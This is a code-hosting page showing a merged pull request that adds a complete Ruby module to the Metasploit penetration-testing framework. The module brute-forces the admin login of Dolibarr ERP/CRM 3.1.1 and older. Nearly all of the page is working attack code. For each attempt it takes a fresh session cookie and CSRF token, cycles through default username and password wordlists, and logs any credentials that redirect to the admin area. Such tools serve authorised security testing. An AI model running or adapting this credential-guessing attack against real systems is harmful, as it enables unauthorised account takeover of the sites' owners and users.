Browse Source

Merge pull request #318 from wchen-r7/dolibarr_login

Add an aux module to brute force Dolibarr's login interface
sinn3r 7 years ago
parent
commit
a26e844ce5
1 changed files with 123 additions and 0 deletions
  1. 123
    0
      modules/auxiliary/scanner/http/dolibarr_login.rb

+ 123
- 0
modules/auxiliary/scanner/http/dolibarr_login.rb View File

@@ -0,0 +1,123 @@
1
+##
2
+# This file is part of the Metasploit Framework and may be subject to
3
+# redistribution and commercial restrictions. Please see the Metasploit
4
+# Framework web site for more information on licensing and terms of use.
5
+#   http://metasploit.com/framework/
6
+##
7
+
8
+require 'msf/core'
9
+
10
+class Metasploit3 < Msf::Auxiliary
11
+
12
+	include Msf::Auxiliary::Report
13
+	include Msf::Exploit::Remote::HttpClient
14
+	include Msf::Auxiliary::AuthBrute
15
+
16
+	def initialize(info = {})
17
+		super(update_info(info,
18
+			'Name'           => 'Dolibarr ERP & CRM 3 Login Utility',
19
+			'Description'    => %q{
20
+				This module attempts to authenticate to a Dolibarr ERP/CRM's admin web intarface,
21
+				and should only work against version 3.1.1 or older, because these versions do not
22
+				have any default protections against brute-forcing. 
23
+			},
24
+			'Author'         => [ 'sinn3r' ],
25
+			'License'        => MSF_LICENSE
26
+		))
27
+
28
+		register_options(
29
+			[
30
+				Opt::RPORT(80),
31
+				OptPath.new('USERPASS_FILE',  [ false, "File containing users and passwords separated by space, one pair per line",
32
+					File.join(Msf::Config.install_root, "data", "wordlists", "http_default_userpass.txt") ]),
33
+				OptPath.new('USER_FILE',  [ false, "File containing users, one per line",
34
+					File.join(Msf::Config.install_root, "data", "wordlists", "http_default_users.txt") ]),
35
+				OptPath.new('PASS_FILE',  [ false, "File containing passwords, one per line",
36
+					File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ]),
37
+				OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/'])
38
+			], self.class)
39
+	end
40
+
41
+
42
+	def get_sid_token
43
+		res = send_request_raw({
44
+			'method' => 'GET',
45
+			'uri'    => @uri.path
46
+		})
47
+
48
+		# Get the session ID from the cookie
49
+		m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/)
50
+		id = (m.nil?) ? nil : m[1]
51
+
52
+		# Get the token from the decompressed HTTP body response
53
+		m = res.body.match(/type="hidden" name="token" value="(.+)"/)
54
+		token = (m.nil?) ? nil : m[1]
55
+
56
+		return id, token
57
+	end
58
+
59
+	def do_login(user, pass)
60
+		#
61
+		# Get a new session ID/token.  That way if we get a successful login,
62
+		# we won't get a false positive due to reusing the same sid/token.
63
+		#
64
+		sid, token = get_sid_token
65
+		if sid.nil? or token.nil?
66
+			print_error("#{@peer} - Unable to obtain session ID or token, cannot continue")
67
+			return :abort
68
+		else
69
+			vprint_status("#{@peer} - Using sessiond ID: #{sid}")
70
+			vprint_status("#{@peer} - Using token: #{token}")
71
+		end
72
+
73
+		begin
74
+			res = send_request_cgi({
75
+				'method'   => 'POST',
76
+				'uri'      => "#{@uri.path}index.php",
77
+				'cookie'   => sid,
78
+				'vars_post' => {
79
+					'token'         => token,
80
+					'loginfunction' => 'loginfunction',
81
+					'tz'            => '-6',
82
+					'dst'           => '1',
83
+					'screenwidth'   => '1093',
84
+					'screenheight'  => '842',
85
+					'username'      => user,
86
+					'password'      => pass
87
+				}
88
+			})
89
+		rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
90
+			vprint_error("#{@peer} - Service failed to respond")
91
+			return :abort
92
+		end
93
+
94
+		location = res.headers['Location']
95
+		if location =~ /admin\//
96
+			print_good("#{@peer} - Successful login: \"#{user}:#{pass}\"")
97
+			report_auth_info({
98
+				:host        => rhost,
99
+				:port        => rport,
100
+				:sname       => (ssl ? 'https' : 'http'),
101
+				:user        => user,
102
+				:pass        => pass,
103
+				:proof       => location,
104
+				:source_type => 'user_supplied'
105
+			})
106
+			return :next_user
107
+		else
108
+			vprint_error("#{@peer} - Bad login: \"#{user}:#{pass}\"")
109
+			return
110
+		end
111
+	end
112
+
113
+	def run
114
+		@uri = target_uri
115
+		@uri.path << "/" if @uri.path[-1, 1] != "/"
116
+		@peer = "#{rhost}:#{rport}"
117
+
118
+		each_user_pass { |user, pass|
119
+			vprint_status("#{@peer} - Trying \"#{user}:#{pass}\"")
120
+			do_login(user, pass)
121
+		}
122
+	end
123
+end

Loading…
Cancel
Save